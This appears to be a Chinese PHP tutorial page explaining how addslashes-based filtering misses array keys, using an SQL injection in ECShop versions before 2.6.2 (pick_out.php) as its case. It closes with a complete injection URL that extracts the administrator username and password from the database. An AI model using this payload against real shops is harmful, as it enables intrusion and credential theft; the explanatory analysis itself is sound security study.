热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

在magic_quotes_gpc=off下绕过addslashes和preg_replace两种函数

前言在PHP6公布的一些资料上来看(现在主流PHP5和PHP4),register_globals、magic_quotes_gpc、safe_mode这三个选项将会不复存在,官方这样的做法考虑到PHP可移植性问题。去掉了GPC选项,很多程序都要改写。到底会改写什么呢?起码会增加一个模拟magic_quo

前言
    在PHP6公布的一些资料上来看(现在主流PHP5和PHP4),register_globals、magic_quotes_gpc、safe_mode这三个选项将会不复存在,官方这样的做法考虑到PHP可移植性问题。去掉了GPC选项,很多程序都要改写。到底会改写什么呢?起码会增加一个模拟magic_quotes_gpc的函数来处理数据。那么现在研究在magic_quotes_gpc=off下绕过函数将会很有前景。

addslashes函数
    很多程序都会考虑到GPC影响功能会关闭掉GPC选项,而选择用PHP的一个内置函数addslashes来进行预定转义,并模拟一段代码:

define(\'MAGIC_QUOTES_GPC\', get_magic_quotes_gpc());
...
foreach(array(\'_COOKIE\', \'_POST\', \'_GET\') as $_request) {
  foreach($$_request as $_key => $_value) {
    $_key{0} != \'_\' && $$_key = daddslashes($_value);
  }
}
...
function daddslashes($string, $force = 0) {  //这里daddslashes函数跟addslashes是不用的,注意名称。
  !defined(\'MAGIC_QUOTES_GPC\') && define(\'MAGIC_QUOTES_GPC\', get_magic_quotes_gpc());
  if(!MAGIC_QUOTES_GPC || $force) {
    if(is_array($string)) {
      foreach($string as $key => $val) {
        $string[$key] = daddslashes($val, $force);
      }
    } else {
      $string = addslashes($string);
    }
  }
  return $string;
}

    define、defined是PHP内置函数,前者用于定义常量,后者则是查看常量是否存在。这里有两个foreach读者会比较难理解:首先把\'_COOKIE\'、\'_POST\'、\'_GET\'这三个值以array函数传递给$_request,此时$_request就会变成数组,$_request[0]的值是_COOKIE,$_request[1]的值是_POST,$_request[2]的值是_GET,并且用第一个foreach将它们循环输出;然后再到第二个foreach:$$_request这句其实可以代换成“$$_request[0]”、“$$_request[1]”、“$$_request[2]”;由于在PHP中,在双引号中的变量仍然起作用并可代表在变量里的值,所以上面三个数组变量再代换成大家很熟悉的“$_COOKIE”、“$_POST”、“$_GET”,并循环输出。
    $_key{0} != \'_\'即是我们提交的第一个数据的名称不能是“_”,这个显然可以满足;然后到了daddslashes($val, $force),注意这里传入的参数是$val和$force。
    最后就是daddslashes函数的定义:&&代表AND运算符,||代表OR运算符;不存在MAGIC_QUOTES_GPC常量和并且用define函数定义常量做一个AND运算。继续,如果MAGIC_QUOTES_GPC不存在值,而$force不存在值、或者两者都存在值,则判断$string是否为数组,是的话就用foreach循环输出每一个值,并用daddslashes函数循环预定反义每一个值。注意这里的参数还是$val和$force。
    这段代码需要用到运算符高低级,函数的默认值、递归调用等等的小知识。这段代码我们不难看出,addslashes函数的参数($string)就是daddslashes函数的参数$val。
    大家可能认为这段代码找不到什么问题,但如果你注意到它的参数的调用,就不难发现:函数只过滤了$val,而$_key并没有过滤。相反,在magic_quotes_gpc=on时不仅仅处理变量值,还处理变量名。其实daddslashes函数只是模拟了GPC的一部分功能而已。

实例
    ECShop是最大的免费开源网店系统(用户量不在话下)。ECShop小于v2.6.2版本的includes/init.php(这个文件经常被包含)当GPC为OFF时使用addslashes_deep函数过滤$_REQUEST、$_COOKIE:

if (!get_magic_quotes_gpc())
{
    if (!empty($_GET))
    {
        $_GET  = addslashes_deep($_GET);
    }
    if (!empty($_POST))
    {
        $_POST = addslashes_deep($_POST);
    }

    $_COOKIE   = addslashes_deep($_COOKIE);
    $_REQUEST  = addslashes_deep($_REQUEST);
}

    如果get_magic_quotes_gpc为off而且存在GET提交过来的数据,则用addslashes_deep函数来过滤$_GET这个PHP内置变量(数组),下面类同。addslashes_deep函数在includes/lib_base.php里最后通过addslashes函数处理:

function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        return is_array($value) ? array_map(\'addslashes_deep\', $value) : addslashes($value);
    }
}

    如果$value为空,则返回为空;否则用“A?B:C”运算符来判断,这个其实可以代换成:

if (is_array($value))
{
array_map(\'addslashes_deep\', $value)
}
else
{
addslashes($value)
}

    如果$value是数组,就用PHP内置函数array_map来调用addslashes_deep函数重复过滤value数组的每一个值;否则用addslashes来预定反义。其中array_map函数的作用,用一个例子来解说:

function cube($n) {
    return $n*$n*$n; //这个函数用参数$n,并以$n的三次方的值返回
}

$a = array(1, 2, 3, 4, 5); //$a是数组
$b = array_map(cube, $a); //用cube函数在array_map下重复执行在$a数组中每一个值的三次方运算
print_r($b); //$b是数组,做输出作用。
?>

    结果如图50所示。


 

 

图50



我们在看完函数后再来看ECShop的漏洞文件pick_out.php:

if (!empty($_GET[\'attr\']))
{
    foreach($_GET[\'attr\'] as $key => $value)
    {
        $key = intval($key);
        $_GET[\'attr\'][$key] = htmlspecialchars($value);

    }
}
省略部分代码……
        $attr_table = \'\';
        $attr_where = \'\';
        $attr_url   = \'\';
        $i = 0;
        $goods_result = \'\';
foreach ($_GET[\'attr\'] AS $key => $value)
        {
            $attr_url .= \'&attr[\' . $key . \']=\' . $value;

            $attr_picks[] = $key;
            if ($i > 0)
            {
                if (empty($goods_result))
                {
                    break;
                }
                $goods_result = $db->getCol(SELECT goods_id FROM . $ecs->table(goods_attr) . WHERE goods_id IN ( . implode(\',\' , $goods_result) . ) AND attr_id=\'$key\' AND attr_value=\'$value\');
            }
            else
            {
                $goods_result = $db->getCol(SELECT goods_id FROM . $ecs->table(goods_attr) . WHERE attr_id=\'$key\' AND attr_value=\'$value\');
            }
            $i++;
        }

    这里读者可能感到迷惑,PHP内置函数intval强制转换key为数字型,还有什么问题?仔细地看到上面的第一个foreach的$_GET[\'attr\'] as $key => $value了吗?它的代码可以代换成:

...
foreach($value[$key]=$_GET[\'attr\']) //我这样写是不规范的,只是为了让读者更容易明白。
{
$key = intval($key);
$_GET[\'attr\'][$key] = htmlspecialchars($value);
}
...

    这里我们看到了,as关键字的作用是在foreach中将$_GET[\'attr\']数组的每一个键和每一个值循环复制给$key和$value,但它并不影响我们提交在$_GET[\'attr\']中的数据(它只是一个拷贝)。尽管这样,但是这个文件包含了我们上面所说的init.php,也就是说$_GET[\'attr\']的每一个值我们都不能控制,但每一个键我们还是可以利用的!
    再就是第二个foreach,$key变量先经过了两个赋值,后if判断,程序已经在上面定义了$i=0,那么我们将会执行下面else那个SQL查询。这个循环虽然也是拷贝$_GET[\'attr\'],但是这个和上面那个不同,这个foreach是直接带入数据库查询的。不过这里并没有对$key做任何过滤,从而导致SQL注入。构造如下SQL:

pick_out.php?cat_id=123456&attr[\' UNION SELECT CONCAT(user_name,0x3a,password) AS goods_id FROM ecs_admin_user WHERE action_list=\'all\' LIMIT 1#]=Tommie

推荐阅读
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • Oracle分析函数first_value()和last_value()的用法及原理
    本文介绍了Oracle分析函数first_value()和last_value()的用法和原理,以及在查询销售记录日期和部门中的应用。通过示例和解释,详细说明了first_value()和last_value()的功能和不同之处。同时,对于last_value()的结果出现不一样的情况进行了解释,并提供了理解last_value()默认统计范围的方法。该文对于使用Oracle分析函数的开发人员和数据库管理员具有参考价值。 ... [详细]
  • 一、Hadoop来历Hadoop的思想来源于Google在做搜索引擎的时候出现一个很大的问题就是这么多网页我如何才能以最快的速度来搜索到,由于这个问题Google发明 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • 本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法,并给出了问题的解析和解决方法。详细介绍了问题的背景和规则,并给出了相应的算法解析和实现步骤。通过本文的解析,读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • 本文由编程笔记小编整理,介绍了PHP中的MySQL函数库及其常用函数,包括mysql_connect、mysql_error、mysql_select_db、mysql_query、mysql_affected_row、mysql_close等。希望对读者有一定的参考价值。 ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • MACElasticsearch安装步骤及验证方法
    本文介绍了MACElasticsearch的安装步骤,包括下载ZIP文件、解压到安装目录、启动服务,并提供了验证启动是否成功的方法。同时,还介绍了安装elasticsearch-head插件的方法,以便于进行查询操作。 ... [详细]
  • 推荐系统遇上深度学习(十七)详解推荐系统中的常用评测指标
    原创:石晓文小小挖掘机2018-06-18笔者是一个痴迷于挖掘数据中的价值的学习人,希望在平日的工作学习中,挖掘数据的价值, ... [详细]
author-avatar
Eva---LiuJ
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有